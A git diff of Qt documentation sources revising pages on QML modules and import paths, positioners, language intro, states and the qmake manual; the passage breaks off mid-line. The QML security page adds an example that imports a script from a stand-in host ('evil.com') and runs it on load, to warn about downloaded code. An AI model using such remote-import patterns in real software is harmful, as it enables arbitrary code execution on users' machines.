\l{QDeclarativeExtensionPlugin}{QML extension plugins} +are not available. \section1 Installed modules +Installed modules are modules that are made available through the QML import path, +as defined by QDeclarativeEngine::importPathList(), or modules defined within +C++ application code. An installed module is referred to by a URI, which allows +the module to be imported from QML code without specifying a complete filesystem +path or network resource URL. -Installed modules are modules that are installed on the -local filesystem within the QML import path, or modules defined in C++ -application code. When importing an installed module, an un-quoted URI is +When importing an installed module, an un-quoted URI is used, with a mandatory version number: \code @@ -130,15 +161,23 @@ used, with a mandatory version number: import com.nokia.qml.mymodule 1.0 \endcode -Installed modules that are installed into the import path or created -as a \l{QDeclarativeExtensionPlugin}{QML C++ plugin} must define a -\l{Writing a qmldir file}{qmldir file}. +When a module is imported, the QML engine searches the QML import path for a matching +module. The root directory of the module must contain a +\l{Writing a qmldir file}{qmldir file} that defines the QML files +and/or C++ QML extension plugins that are made available to the module. +Modules that are installed into the import path translate the URI into +directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule +must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the +QML import path. In addition it is possible to store different versions of the +module in subdirectories of its own. For example, a version 2.1 of the +module could be located under \c com/nokia/qml/mymodule.2/qmldir or +\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load +the module which matches best. -\section2 The QML import path - -The QML engine will search the import path for a requested installed module. -The default import path includes: +The import path, as returned by QDeclarativeEngine::importPathList(), defines the default +locations to be searched by the QML engine for a matching module. By default, this list +contains: \list \o The directory of the current file @@ -146,30 +185,80 @@ The default import path includes: \o Paths specified by the \c QML_IMPORT_PATH environment variable \endlist -The import path can be queried using QDeclarativeEngine::importPathList() and modified using QDeclarativeEngine::addImportPath(). +Additional import paths can be added through QDeclarativeEngine::addImportPath() or the +\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you +can also use the \c -I option to add an import path. + + +\section2 Creating installed modules + +As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} +was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents +subdirectory could be made available as an installed module by adding a +\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml +\endcode + +Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, +a QML file located anywhere on the local filesystem can then import the module as shown below, +without referring to the module's absolute filesystem location: + +\qml +import projects.MyQMLProject.MyComponents 1.0 + +Window { + Slider { ... } + CheckBox { ... } +} +\endqml + +Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted +as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above +QML code would work just the same. -When running the \l {QML Viewer}, use the \c -I option to add paths to the import path. +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins} +are not available. \section2 Creating installed modules in C++ -C++ applications can dynamically define installed modules using -qmlRegisterType(). +C++ applications can define installed modules directly within the application using qmlRegisterType(). +For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} +defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): + +\qml +qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); +\endqml -For \l{QDeclarativeExtensionPlugin}{QML C++ plugins}, the -module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). -The QDeclarativeExtensionPlugin documentation shows how to use this URI -to call qmlRegisterType() to enable the plugin library to be built as -an installed module. Once the plugin is built and installed, the module is importable -in QML, like this: +This allows the application's QML files to use the \c PieChart type by importing the declared +\c Charts module: + +\qml +import Charts 1.0 +\endqml + +For \l{QDeclarativeExtensionPlugin}{QML plugins}, the +module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method +can be reimplemented by the developer to register the necessary types for the module. Below is the +\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} +example: + +\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin + +Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, +the module can be imported from QML, like this: \code import com.nokia.TimeExample 1.0 \endcode -A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} also requires a -\l{Writing a qmldir file}{qmldir file} to make it available to the -QML engine. +Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by +a module that is imported as a network resource. @@ -224,7 +313,7 @@ Unlike ordinary modules, multiple scripts cannot be imported into the same names A \c qmldir file is a metadata file for a module that maps all type names in the module to versioned QML files. It is required for installed modules, and -location modules that are loaded from a network source. +located modules that are loaded from a network source. It is defined by a plain text file named "qmldir" that contains one or more lines of the form: @@ -274,37 +363,6 @@ containing the plugin file. By default the engine searches for the plugin librar file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. -\target qmldirexample -\section2 Example - -If the components in the \c MyComponents directory from the -\l{Location Modules}{earlier example} were to be made available as a network resource, -the directory would need to contain a \c qmldir file similar to this: - -\code -ComponentA 1.0 ComponentA.qml -ComponentB 1.0 ComponentB.qml -\endcode - -The \c MyComponents directory could then be imported as a module using: - -\code -import "http://the-server-name.com/MyComponents" - -Slider { ... } -CheckBox { ... } -\endcode - -with an optional "1.0" version specification. Notice the import fails if -a later version is used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - - -For examples of \c qmldir files for plugins, see the -\l {declarative/cppextensions/plugins}{Plugins} example and -\l {Tutorial: Writing QML extensions with C++}. - - \section1 Debugging The \c QML_IMPORT_TRACE environment variable can be useful for debugging diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index 387f390..5493d4a 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,9 +53,9 @@ graphical elements: \section2 Column -\beginfloatright -\image qml-column.png -\endfloat +\div{float-right} +\inlineimage qml-column.png +\enddiv \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -70,9 +70,9 @@ must be added to a parent Rectangle, if desired. \section2 Row -\beginfloatright -\image qml-row.png -\endfloat +\div{float-right} +\inlineimage qml-row.png +\enddiv \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -87,9 +87,9 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\beginfloatright -\image qml-grid-spacing.png -\endfloat +\div{float-right} +\inlineimage qml-grid-spacing.png +\enddiv \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -108,10 +108,10 @@ at the appropriate places in the Grid definition. \section2 Flow -\beginfloatright -\image qml-flow-text1.png -\image qml-flow-text2.png -\endfloat +\div{float-right} +\inlineimage qml-flow-text1.png +\inlineimage qml-flow-text2.png +\enddiv \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -137,9 +137,9 @@ control of spacing between items and between lines of items. \section1 Repeaters -\beginfloatright -\image qml-repeater-grid-index.png -\endfloat +\div{float-right} +\inlineimage qml-repeater-grid-index.png +\enddiv Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc index 61241c5..02692de 100644 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -27,7 +27,7 @@ /*! \page qdeclarativeintroduction.html -\title Introduction to the QML language +\title Introduction to the QML Language \tableofcontents @@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required. QML looks like this: -\code +\qml import QtQuick 1.0 Rectangle { @@ -58,7 +58,7 @@ Rectangle { anchors.centerIn: parent } } -\endcode +\endqml Here we create two objects, a \l Rectangle object and its child \l Image object. Objects are specified by their type, followed by a pair of @@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon. Properties can be specified one-per-line: -\code +\qml Rectangle { width: 100 height: 100 } -\endcode +\endqml or you can put multiple properties on a single line: -\code +\qml Rectangle { width: 100; height: 100 } -\endcode +\endqml When multiple property/value pairs are specified on a single line, they must be separated by a semicolon. @@ -92,7 +92,6 @@ standard \l {QML Elements}. Without this import statement, the \l Rectangle and \l Image elements would not be available. - \section1 Comments Commenting in QML is similar to JavaScript. @@ -110,19 +109,19 @@ your QML files. Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. -\code +\qml Text { text: "Hello world!" //opacity: 0.5 } -\endcode +\endqml In the above example, the \l Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment. -\section1 Object identifiers +\section1 Object Identifiers Each object can be given a special \e id value that allows the object to be identified and referred to by other objects. @@ -161,19 +160,19 @@ characters other than letters, numbers and underscores. JavaScript expressions can be used to assign property values. For example: -\code +\qml Item { width: 100 * 3 height: 50 + 22 } -\endcode +\endqml These expressions can include references to other objects and properties, in which case a \l{Property Binding}{binding} is established: when the value of the expression changes, the property to which the expression is assigned is automatically updated to the new value. For example: -\code +\qml Item { width: 300 height: 300 @@ -184,7 +183,7 @@ Item { color: "yellow" } } -\endcode +\endqml Here, the \l Rectangle object's \c width property is set relative to the width of its parent. Whenever the parent's width changes, the width of the \l Rectangle is @@ -195,19 +194,19 @@ automatically updated. \section1 Properties \target intro-properties -\section2 Basic property types +\section2 Basic Property Types QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int, \c real, \c bool, \c string and \c color. -\code +\qml Item { x: 10.5 // a 'real' property state: "details" // a 'string' property focus: true // a 'bool' property - ... + // ... } -\endcode +\endqml QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that matches the property type. For example, the \c x property of item is a real, and if you try to assign @@ -223,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi letter. -\section2 Property change notifications +\section2 Property Change Notifications When a property changes value, it can send a signal to notify others of this change. @@ -249,52 +248,52 @@ Signal handlers are explained further \l {Signal Handlers}{below}. List properties look like this: -\code +\qml Item { children: [ Image {}, Text {} ] } -\endcode +\endqml The list is enclosed in square brackets, with a comma separating the list elements. In cases where you are only assigning a single item to a list, you can omit the square brackets: -\code +\qml Image { children: Rectangle {} } -\endcode +\endqml Items in the list can be accessed by index. See the \l{list}{list type} documentation for more details about list properties and their available operations. -\section2 Default properties +\section2 Default Properties Each object type can specify one of its list or object properties as its default property. If a property has been declared as the default property, the property tag can be omitted. For example this code: -\code +\qml State { changes: [ PropertyChanges {}, PropertyChanges {} ] } -\endcode +\endqml can be simplified to: -\code +\qml State { PropertyChanges {} PropertyChanges {} } -\endcode +\endqml because \c changes is the default property of the \c State type. @@ -331,7 +330,7 @@ element that attaches \e property. For example, the \l ListView element attaches the \e ListView.isCurrentItem property to each delegate it creates: -\code +\qml Component { id: myDelegate Text { @@ -339,21 +338,24 @@ Component { color: ListView.isCurrentItem ? "red" : "blue" } } +\endqml + +\qml ListView { delegate: myDelegate } -\endcode +\endqml Another example of attached properties is the \l Keys element which attaches properties for handling key presses to any visual Item, for example: -\code +\qml Item { focus: true Keys.onSelectPressed: console.log("Selected") } -\endcode +\endqml \section1 Signal Handlers @@ -362,7 +364,7 @@ example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler tha be used to respond to a mouse click. Below, we use this handler to print a message whenever the mouse is clicked: -\code +\qml Item { width: 100; height: 100 @@ -373,7 +375,7 @@ Item { } } } -\endcode +\endqml All signal handlers begin with \e "on". @@ -382,7 +384,7 @@ the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter that contains information about the mouse press. This parameter can be referred to in the JavaScript code, as below: -\code +\qml MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton onPressed: { @@ -390,7 +392,5 @@ MouseArea { console.log("Right mouse button pressed") } } -\endcode - - +\endqml */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index cf85175..9409eaf 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel @@ -504,9 +506,9 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\beginfloatright +\div{float-right} \inlineimage qml-listview-snippet.png -\endfloat +\enddiv The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc index 8aa031d..482043c 100644 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen For example, this QML content: \qml +import QtQuick 1.0 import "http://evil.com/evil.js" as Evil -... Evil.doEvil() ... + +Component { + onLoaded: Evil.doEvil() +} \endqml is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc index c6160c5..6d5aebc 100644 --- a/doc/src/declarative/qdeclarativestates.qdoc +++ b/doc/src/declarative/qdeclarativestates.qdoc @@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state. Non-Item objects can use states through the StateGroup element. -\section1 Creating states +\section1 Creating States To create a state, add a \l State object to the item's \l {Item::}{states} property, which holds a list of states for that item. @@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example: \qml Rectangle { - ... + // ... states: [ State { name: "moved" @@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states} property can be defined as a single \l State, without the square-brace list syntax: -\qml -Item { - ... - states: State { - ... - } -} -\endqml +\snippet doc/src/snippets/declarative/propertyanimation.qml single state A \l State is not limited to performing modifications on property values. It can also: @@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated transitions between them. -\section1 The default state +\section1 The Default State Of course, the \l Rectangle in the example above could have simply been moved by setting its position to (50, 50) in the mouse area's \c onClicked handler. @@ -146,7 +139,7 @@ like this: \qml Rectangle { - ... + // ... MouseArea { id: mouseArea @@ -154,8 +147,9 @@ Rectangle { } states: State { - name: "moved"; when: mouseArea.pressed - ... + name: "moved" + when: mouseArea.pressed + // ... } } \endqml @@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to: \qml Rectangle { - ... + // ... MouseArea { anchors.fill: parent @@ -181,7 +175,7 @@ Rectangle { states: State { name: "moved" - ... + // ... } } \endqml @@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than assigning the state from signal handlers. -\section1 Animating state changes +\section1 Animating State Changes State changes can be easily animated through \l {Transitions}{transitions}. A @@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated: \qml Rectangle { - ... + // ... - MouseArea { ... } + MouseArea { + // Handle mouse events... + } states: [ - ... + // States are defined here... ] transitions: [ @@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500 milliseconds. See the \l Transitions documentation for more information. - */ diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc index 563dc3b..3f3e0e4 100644 --- a/doc/src/declarative/qml-intro.qdoc +++ b/doc/src/declarative/qml-intro.qdoc @@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is \qml SomeElement { id: myObject - ... some other things here ... + // ... some other things here ... } \endqml @@ -247,13 +247,17 @@ referencing these properties from another object we use the property directly, instead of saying: \qml -myRectangle.anchors.top // Wrong +Item { + anchors.bottom: myRectangle.anchors.top // Wrong +} \endqml we use \qml -myRectangle.top // Correct +Item { + anchors.bottom: myRectangle.top // Correct +} \endqml @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise. Rotation of text was also suggested. It could also be useful to scale the text. We can do both. The \l {Item::transform}{transform} property is a \e list of \l Transform elements, so using the list syntax - -\qml -myList: [ listElement1, listElement2, ... } ] -\endqml - +\c{myList: [ listElement1, listElement2, ... } ]} we can produce a list of transformations. The text will be rotated by 45 degrees anti-clockwise and scaled diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc index 3ab1634..7380ef5 100644 --- a/doc/src/declarative/qmlinuse.qdoc +++ b/doc/src/declarative/qmlinuse.qdoc @@ -72,7 +72,7 @@ </div> <!-- tech domains start --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -100,7 +100,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -140,7 +140,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -185,7 +185,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -198,7 +198,7 @@ <!-- video box end --> </div> <div class="primary"> - <h2><a name="interactElement">QML Interaction Elements</h2></a> + <h2><a name="interactElement">QML Interaction Elements</a></h2> <p> These elements define basic interactions such as touch movements and focus management.</p> <b>Elements:</b> @@ -216,7 +216,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -243,7 +243,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -276,7 +276,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -307,7 +307,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -334,7 +334,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -372,7 +372,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -410,7 +410,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -441,7 +441,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -468,7 +468,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 43511b0..4a6f6a9 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -56,7 +56,7 @@ \macro QML_DECLARE_TYPE() \relates QDeclarativeEngine - Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) + Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) #include <QtDeclarative> to use this macro. */ @@ -118,7 +118,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc index 7895c9f..b7d09a1 100644 --- a/doc/src/declarative/qtprogrammers.qdoc +++ b/doc/src/declarative/qtprogrammers.qdoc @@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component. Parent widgets each provide a generic way to interface to one or more arbitrary other widgets. A QTabWidget provides an interface to multiple "pages", one of which is visible at any time, -and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around +and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around a widget that is otherwise too large to fit in available space. Nearly all such components can be created directly in QML. Only a few cases diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index b9ae913..1ee5e61 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays The \c y property is used to position the text vertically at 30 pixels from the top of its parent. The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}). +In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. @@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat Our cell component is basically a colored rectangle with the \c id \e rectangle. The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}). +In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). \snippet examples/declarative/tutorials/helloworld/Cell.qml 3 diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc index 11fc110..3eeb313 100644 --- a/doc/src/demos/mediaplayer.qdoc +++ b/doc/src/demos/mediaplayer.qdoc @@ -32,5 +32,5 @@ The Media Player demonstration shows how \l{Phonon Module}{Phonon} can be used in Qt applications to handle audio and video playback. - \image mediaplayer-demo.png + \image qmediaplayer-demo.png */ diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc index 4817058..bc80ed3 100644 --- a/doc/src/deployment/deployment.qdoc +++ b/doc/src/deployment/deployment.qdoc @@ -1550,8 +1550,8 @@ \note If you want to have your application properly Symbian Signed for distribution, you will have to properly sign both the application and the application installer packages. Please see - \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed} - {Symbian Signed wiki} for more information about Symbian Signed. + \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed} + {Forum Nokia Wiki} for more information about Symbian Signed. For more information about creating a \c .sis file and installing it to device see also \l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}. diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc index 3971f3e..870d47c 100644 --- a/doc/src/development/developing-with-qt.qdoc +++ b/doc/src/development/developing-with-qt.qdoc @@ -28,7 +28,7 @@ /*! \page developing-with-qt.html - \title Cross-platform & Platform-specific Development + \title Cross-Platform and Platform-Specific Development Qt allows you to write advanced applications and UIs once, and deploy them across desktop and embedded operating systems without rewriting the source code. The top section of this page provides an overview of the tools and @@ -37,7 +37,7 @@ links to documents that describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. - \section1 Cross-platform Development with Qt + \section1 Cross-Platform Development with Qt Qt is provided with a set of build tools to help developers automate the process of building and installing Qt applications. @@ -68,7 +68,7 @@ \endlist \endtable - \section1 Platform-specific Development with Qt + \section1 Platform-Specific Development with Qt These documents describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. @@ -110,6 +110,4 @@ \o Collections of notes about Qt implementations on different window systems. \endlist \endtable - - */ diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index 84d6d5f..c3a044f 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -34,26 +34,26 @@ \ingroup qttools \keyword qmake - \c qmake is a tool that helps simplify the build - process for development project across different platforms. \c qmake + \l {qmake}{ \c qmake} is a tool that helps simplify the build + process for development project across different platforms. \l {qmake}{ \c qmake} automates the generation of Makefiles so that only a few lines of - information are needed to create each Makefile. \c qmake can be used for + information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for any software project, whether it is written in Qt or not. - \c qmake generates a Makefile based on the information in a project + \l {qmake}{ \c qmake} generates a Makefile based on the information in a project file. Project files are created by the developer, and are usually simple, but more sophisticated project files can be created for complex projects. - \c qmake contains additional features to support development with Qt, + \l {qmake}{ \c qmake} contains additional features to support development with Qt, automatically including build rules for \l{moc.html}{moc} and \l{uic.html}{uic}. - \c qmake can also generate projects for Microsoft Visual studio + \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio without requiring the developer to change the project file. \section1 Getting Started The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews - that aim to help new users get started with \c qmake. + that aim to help new users get started with \l {qmake}{ \c qmake}. \list \o \l{qmake Tutorial} @@ -98,22 +98,22 @@ \previouspage qmake Manual \nextpage qmake Project Files - \c qmake provides a project-oriented system for managing the build + \l {qmake}{ \c qmake} provides a project-oriented system for managing the build process for applications, libraries, and other components. This approach gives developers control over the source files used, and allows each of the steps in the process to be described concisely, - typically within a single file. \c qmake expands the information in + typically within a single file. \l {qmake}{ \c qmake} expands the information in each project file to a Makefile that executes the necessary commands for compiling and linking. In this document, we provide a basic introduction to project files, - describe some of the main features of \c qmake, and show how to use - \c qmake on the command line. + describe some of the main features of \l {qmake}{ \c qmake}, and show how to use + \l {qmake}{ \c qmake} on the command line. \section1 Describing a Project Projects are described by the contents of project (\c .pro) files. - The information within these is used by \c qmake to generate a Makefile + The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile containing all the commands that are needed to build each project. Project files typically contain a list of source and header files, general configuration information, and any application-specific details, @@ -134,12 +134,12 @@ \section1 Building a Project - For simple projects, you only need to run \c qmake in the top - level directory of your project. By default, \c qmake generates a + For simple projects, you only need to run \l {qmake}{ \c qmake} in the top + level directory of your project. By default, \l {qmake}{ \c qmake} generates a Makefile that you then use to build the project, and you can then run your platform's \c make tool to build the project. - \c qmake can also be used to generate project files. A full + \l {qmake}{ \c qmake} can also be used to generate project files. A full description of \c{qmake}'s command line options can be found in the \l{Running qmake} chapter of this manual. @@ -157,7 +157,7 @@ \previouspage Using qmake \nextpage Running qmake - Project files contain all the information required by \c qmake to build + Project files contain all the information required by \l {qmake}{ \c qmake} to build your application, library, or plugin. The resources used by your project are generally specified using a series of declarations, but support for simple programming constructs allow you to describe different build @@ -167,7 +167,7 @@ \section1 Project File Elements - The project file format used by \c qmake can be used to support both + The project file format used by \l {qmake}{ \c qmake} can be used to support both simple and fairly complex build systems. Simple project files will use a straightforward declarative style, defining standard variables to indicate the source and header files that are used in the project. @@ -180,14 +180,14 @@ \section2 Variables In a project file, variables are used to hold lists of strings. - In the simplest projects, these variables inform \c qmake about the + In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the configuration options to use, or supply filenames and paths to use in the build process. - \c qmake looks for certain variables in each project file, and it + \l {qmake}{ \c qmake} looks for certain variables in each project file, and it uses the contents of these to determine what it should write to a Makefile. For example, the list of values in the \c HEADERS and - \c SOURCES variables are used to tell \c qmake about header and + \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and source files in the same directory as the project file. Variables can also be used internally to store temporary lists of values, @@ -206,13 +206,13 @@ \snippet doc/src/snippets/qmake/variables.pro 1 - The \c CONFIG variable is another special variable that \c qmake + The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake} uses when generating a Makefile. It is discussed in the section on \l{#GeneralConfiguration}{general configuration} later in this chapter. In the above line, \c qt is added to the list of existing values contained in \c CONFIG. - The following table lists the variables that \c qmake recognizes, and + The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and describes what they should contain. \table @@ -276,7 +276,7 @@ \section2 Built-in Functions and Control Flow - \c qmake provides a number of built-in functions to allow the contents + \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents of variables to be processed. The most commonly used function in simple project files is the \c include function which takes a filename as an argument. The contents of the given file are included in the project @@ -295,7 +295,7 @@ The assignments inside the braces are only made if the condition is true. In this case, the special \c win32 variable must be set; this happens automatically on Windows, but this can also be specified on - other platforms by running \c qmake with the \c{-win32} command line + other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line option (see \l{Running qmake} for more information). The opening brace must stand on the same line as the condition. @@ -316,15 +316,15 @@ \section1 Project Templates The \c TEMPLATE variable is used to define the type of project that will - be built. If this is not declared in the project file, \c qmake assumes + be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes that an application should be built, and will generate an appropriate Makefile (or equivalent file) for the purpose. The types of project available are listed in the following table with - information about the files that \c qmake will generate for each of them: + information about the files that \l {qmake}{ \c qmake} will generate for each of them: \table - \header \o Template \o Description of \c qmake output + \header \o Template \o Description of \l {qmake}{ \c qmake}output \row \o app (default) \o Creates a Makefile to build an application. \row \o lib \o Creates a Makefile to build a library. \row \o subdirs \o Creates a Makefile containing rules for the @@ -339,7 +339,7 @@ See the \l{qmake Tutorial} for advice on writing project files for projects that use the \c app and \c lib templates. - When the \c subdirs template is used, \c qmake generates a Makefile + When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile to examine each specified subdirectory, process any project file it finds there, and run the platform's \c make tool on the newly-created Makefile. The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to @@ -351,7 +351,7 @@ The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the options and features that the compiler should use and the libraries that should be linked against. Anything can be added to the \c CONFIG variable, - but the options covered below are recognized by \c qmake internally. + but the options covered below are recognized by \l {qmake}{ \c qmake} internally. The following options control the compiler flags that are used to build the project: @@ -380,7 +380,7 @@ The \c debug_and_release option is special in that it enables \e both debug and release versions of a project to be built. In such a case, the Makefile that - \c qmake generates includes a rule that builds both versions, and this can be + \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be invoked in the following way: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0 @@ -428,7 +428,7 @@ \snippet 